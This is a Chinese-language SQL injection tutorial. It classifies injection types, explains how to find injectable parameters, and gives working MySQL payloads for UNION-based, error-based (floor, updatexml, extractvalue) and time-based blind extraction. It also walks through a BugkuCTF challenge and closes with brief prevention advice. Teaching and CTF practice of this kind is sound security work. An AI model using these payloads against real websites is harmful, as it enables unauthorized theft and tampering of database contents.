SQL注入漏洞
漏洞简介
SQL注入漏洞是一种将SQL代码插入或添加到应用输入的参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。
漏洞危害
1.数据库内的信息被窃取,篡改
2.服务器上的文件被读取或修改
3.命令执行
......
漏洞分类
1.根据参数类型
①数字型
网页链接类似于http://xxx.com/index.php?id=1,注入点id类型为数字型。SQL语句一般为:
select * from flag where id=1
②字符型
网页链接类似于http://xxx.com/index.php?name=admin,注入点name类型为字符型。SQL语句一般为:
select * from flag where name = 'admin'
③搜索型
网页链接类似于http://xxx.com/index.php?keyword=关键字, 主要是搜索框搜索。SQL语句一般为:
select * from flag where age like '%关键字%'
2.根据数据提交的方式
①GET型注入
使用GET方式提交数据,注入点在url中参数部分。
②POST型注入
使用POST方式提交数据,注入点在POST数据部分,常发生在表单中。
③Cookie型注入
注入点发生在Cookie中的某个字段中。
④HTTP头部型注入
注入点在HTTP请求头部的某个字段,比如User-Agent字段,X-Forward-For字段,Rerferer字段等。
3.根据执行效果
①布尔盲注
根据返回页面判断条件真假
②时间盲注
通过判断时间是否延迟来判断SQL语句是否执行
③报错注入
页面返回包含查询结果的错误信息
④堆查询注入
可以同时执行多条语句的注入
⑤宽字节注入
基本判断(以数字型为例)
1.寻找注入点
SQL注入可能出现在任何从系统或用户接收数据输入的前端应用中,注入点可能出现在GET请求、POST请求以及HTTP请求的Cookie、Hosts字段、Referer字段、User-Agent字段等数据中。
2.注入点判断
①在参数后面加单引号或双引号,如果显示异常信息,说明可能存在注入漏洞。
②如果传入的参数(id)为数字,测试id=3-1与id=2的结果是否相同,如果相同则可能存在注入漏洞。
③利用and 1 = 1和and 1 = 2永假的原理。当使用and 1 = 1返回正常页面,而and 1 = 2返回异常页面则可能存在SQL漏洞。
④如果Web应用程序未显示任何错误信息,要考虑时间延迟注入。
3.如果存在注入,根据注入类型,选择合适的payload来获取信息
此处使用union联合查询进行注入示例:
①判断字段个数:
order by 3--
②判断字段精确位置:
?id=1 and 1=2 union select 1, 2, 3--
//强制报错显示第二个SELECT语句的执行结果
③获取数据库名和用户名:
?id=1 and 1=2 union select 1,database(), user()--
④获取表名:
?id=1 and 1=2 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1--
⑤获取字段名:
?id=1 and 1=2 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=flag limit 1,1--
⑥获取字段内容
?id=1 and 1=2 union select 1,id,flag from flag#
报错注入
1.floor()报错注入
floor()函数的作用是向下取整,如:
select floor(6.6); //返回6
floor()报错注入是floor,count,group by在特定情况下一起使用产生主键冗余,造成报错。
payload:
and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)
2.updatexml()报错注入
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据。
作用:改变文档中符合条件的节点的值。
payload:
and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)
concat()函数将0x7e(~)与查询结果连接成字符串,不符合XPath_string的格式,从而出现格式错误。
其它拼接函数:
mysql> select updatexml(1, make_set(3, 0x7e, (select user())), 1);
ERROR 1105 (HY000): XPATH syntax error: '~,root@localhost'
mysql> select updatexml(1, lpad('@', 30, (select user())), 1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'
mysql> select updatexml(1, repeat((select user()), 2), 1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'
mysql> select updatexml(1, (select user()), 1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select updatexml(1, reverse((select user())), 1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'
mysql> select updatexml(1, export_set(1|2, '::', (select user())), 1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
3.extractvalue()报错注入
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
作用:从目标XML中返回包含所查询值的字符串。
payload:
and select extractvalue(1, concat(0x7e, (select user()), 0x7e));
报错原理与updatexml()相同,XPath_string不符合要求。
时间盲注
根据页面回显的时间判断是否存在时间注入
payload:
and if(length(database())=12,sleep(5),1)# 如果数据库长度为12,页面延迟
and if(ascii(substr(database(),1,1))=112, sleep(5), 1)# 如果数据库名的第一位ASCII码为112,页面延迟
实例分析
1.BugkuCTF中的成绩单
判断字段个数:
只有在测试4时,才有回显,所以可以判断有四列。
查看字段位置:
接下来可以在相应位置构造合适的SQL语句来查询想要的信息:
获取数据库名,用户名,数据库版本:
0' union select 1,database(),user(),version()#
根据数据库查询表:
0' union select 1, database(), (select group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'), version()#
根据表去查询相应的字段:
0' union select 1, database(), (select group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name = 'fl4g'), version()#
根据字段去查询字段的内容:
0' union select 1, database(), (select fl4g from skctf_flag), version()#
常见数据库类型
1.MYSQL数据库
①端口号:3306
②注释:--空格,/* */,#
③默认数据库information_schema以及其中的SCHEMATA、TABLES和COLUMNS
select schema_name from information_schema.schemata; #查询全部数据库
select table_schema,table_name from information_schema.tables; #查询全部数据库和表的对应
select column_name from information_schema.columns; 查询全部列
④字符串拼接
‘a' 'b' = 'ab'
select 'a' 'b';
select concat('a', 'b');
2.Oracle数据库
①端口号:1521
②注释:--, /**/
③字符串拼接
'a' || 'b' = 'ab'
3.SQL Server数据库
①端口号:1433
②注释:--, /**/
③字符串拼接
'a'+'b' = 'ab'
④Access
⑤PostgreSQL
⑥DB2
⑦MongoDB
漏洞防范
1.使用预处理语句而非动态SQL来组装SQL查询。
2.使用白名单对输入内容进行验证。
3.编码输出。
4.合理设计数据库用户权限
参考链接
https://www.cnblogs.com/Eleven-Liu/p/9712576.html